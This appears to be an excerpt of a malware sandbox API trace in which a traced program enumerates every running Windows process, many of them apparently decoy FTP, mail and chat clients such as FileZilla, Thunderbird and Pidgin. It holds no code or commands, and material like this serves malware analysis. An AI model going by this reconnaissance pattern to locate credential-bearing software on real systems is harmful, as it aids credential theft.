	[0076.238] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0076.239] lstrlenW (lpString="winlogon.exe") returned 12
	[0076.239] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0076.240] lstrlenW (lpString="services.exe") returned 12
	[0076.240] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0076.243] lstrlenW (lpString="lsass.exe") returned 9
	[0076.243] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.283] lstrlenW (lpString="svchost.exe") returned 11
	[0076.284] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0076.285] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0076.285] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0076.286] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0076.286] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.286] lstrlenW (lpString="svchost.exe") returned 11
	[0076.286] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0076.287] lstrlenW (lpString="dwm.exe") returned 7
	[0076.287] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.287] lstrlenW (lpString="svchost.exe") returned 11
	[0076.287] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.288] lstrlenW (lpString="svchost.exe") returned 11
	[0076.288] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.288] lstrlenW (lpString="svchost.exe") returned 11
	[0076.288] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.289] lstrlenW (lpString="svchost.exe") returned 11
	[0076.289] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.289] lstrlenW (lpString="svchost.exe") returned 11
	[0076.289] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.290] lstrlenW (lpString="svchost.exe") returned 11
	[0076.290] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.290] lstrlenW (lpString="svchost.exe") returned 11
	[0076.290] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.291] lstrlenW (lpString="svchost.exe") returned 11
	[0076.291] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.291] lstrlenW (lpString="svchost.exe") returned 11
	[0076.292] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.292] lstrlenW (lpString="svchost.exe") returned 11
	[0076.292] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0076.293] lstrlenW (lpString="spoolsv.exe") returned 11
	[0076.293] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.293] lstrlenW (lpString="svchost.exe") returned 11
	[0076.293] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0076.294] lstrlenW (lpString="audiodg.exe") returned 11
	[0076.294] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0076.294] lstrlenW (lpString="sihost.exe") returned 10
	[0076.294] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.295] lstrlenW (lpString="svchost.exe") returned 11
	[0076.295] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0076.295] lstrlenW (lpString="taskhostw.exe") returned 13
	[0076.295] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0076.296] lstrlenW (lpString="explorer.exe") returned 12
	[0076.296] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0076.296] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0076.296] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0076.297] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0076.297] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0076.297] lstrlenW (lpString="Memory Compression") returned 18
	[0076.297] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0076.298] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0076.298] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0076.298] lstrlenW (lpString="SearchUI.exe") returned 12
	[0076.298] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0076.299] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0076.299] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0076.300] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0076.300] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0076.300] lstrlenW (lpString="pending.exe") returned 11
	[0076.300] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0076.301] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0076.301] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0076.301] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0076.302] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0076.302] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0076.302] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0076.303] lstrlenW (lpString="search.exe") returned 10
	[0076.303] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0076.303] lstrlenW (lpString="compatibility.exe") returned 17
	[0076.303] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0076.304] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0076.304] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0076.304] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0076.304] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0076.305] lstrlenW (lpString="try.exe") returned 7
	[0076.305] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0076.305] lstrlenW (lpString="consultancy.exe") returned 15
	[0076.305] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0076.306] lstrlenW (lpString="especially.exe") returned 14
	[0076.306] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0076.306] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0076.306] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0076.307] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0076.307] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0076.307] lstrlenW (lpString="modules.exe") returned 11
	[0076.307] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0076.308] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0076.308] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0076.308] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0076.308] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0076.309] lstrlenW (lpString="3dftp.exe") returned 9
	[0076.309] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0076.310] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0076.310] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0076.310] lstrlenW (lpString="alftp.exe") returned 9
	[0076.310] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0076.311] lstrlenW (lpString="barca.exe") returned 9
	[0076.311] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0076.311] lstrlenW (lpString="bitkinex.exe") returned 12
	[0076.311] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0076.312] lstrlenW (lpString="coreftp.exe") returned 11
	[0076.312] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0076.313] lstrlenW (lpString="far.exe") returned 7
	[0076.313] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0076.314] lstrlenW (lpString="filezilla.exe") returned 13
	[0076.314] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0076.315] lstrlenW (lpString="flashfxp.exe") returned 12
	[0076.315] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0076.617] lstrlenW (lpString="fling.exe") returned 9
	[0076.618] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0076.618] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0076.618] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0076.619] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0076.619] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0076.620] lstrlenW (lpString="icq.exe") returned 7
	[0076.620] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0076.621] lstrlenW (lpString="leechftp.exe") returned 12
	[0076.621] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0076.622] lstrlenW (lpString="ncftp.exe") returned 9
	[0076.622] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0076.623] lstrlenW (lpString="notepad.exe") returned 11
	[0076.623] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0076.624] lstrlenW (lpString="operamail.exe") returned 13
	[0076.624] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0076.625] lstrlenW (lpString="pidgin.exe") returned 10
	[0076.625] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0076.626] lstrlenW (lpString="scriptftp.exe") returned 13
	[0076.626] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0076.626] lstrlenW (lpString="skype.exe") returned 9
	[0076.626] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0076.627] lstrlenW (lpString="smartftp.exe") returned 12
	[0076.627] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0076.628] lstrlenW (lpString="thunderbird.exe") returned 15
